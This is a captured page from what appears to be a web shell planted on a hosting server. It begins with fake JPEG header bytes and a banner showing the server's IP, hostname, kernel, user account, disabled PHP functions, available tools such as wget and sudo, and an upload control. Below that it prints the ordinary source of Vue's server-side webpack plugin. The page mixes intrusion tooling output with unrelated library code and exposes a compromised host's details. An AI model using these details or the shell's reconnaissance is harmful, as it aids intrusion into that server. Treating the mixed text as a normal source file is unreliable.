ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.119.138.14 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnwebsiteUpgrade/node_modules/vue/src/server/webpack-plugin/ |
Upload File : |
import { validate, isJS, getAssetName, onEmit } from './util' export default class VueSSRServerPlugin { constructor (options = {}) { this.options = Object.assign({ filename: 'vue-ssr-server-bundle.json' }, options) } apply (compiler) { validate(compiler) const stage = 'PROCESS_ASSETS_STAGE_OPTIMIZE_TRANSFER' onEmit(compiler, 'vue-server-plugin', stage, (compilation, cb) => { const stats = compilation.getStats().toJson() const entryName = Object.keys(stats.entrypoints)[0] const entryInfo = stats.entrypoints[entryName] if (!entryInfo) { // #5553 return cb() } const entryAssets = entryInfo.assets .map(getAssetName) .filter(isJS) if (entryAssets.length > 1) { throw new Error( `Server-side bundle should have one single entry file. ` + `Avoid using CommonsChunkPlugin in the server config.` ) } const entry = entryAssets[0] if (!entry || typeof entry !== 'string') { throw new Error( `Entry "${entryName}" not found. Did you specify the correct entry option?` ) } const bundle = { entry, files: {}, maps: {} } Object.keys(compilation.assets).forEach(name => { if (isJS(name)) { bundle.files[name] = compilation.assets[name].source() } else if (name.match(/\.js\.map$/)) { bundle.maps[name.replace(/\.map$/, '')] = JSON.parse(compilation.assets[name].source()) } // do not emit anything else for server delete compilation.assets[name] }) const json = JSON.stringify(bundle, null, 2) const filename = this.options.filename compilation.assets[filename] = { source: () => json, size: () => json.length } cb() }) } }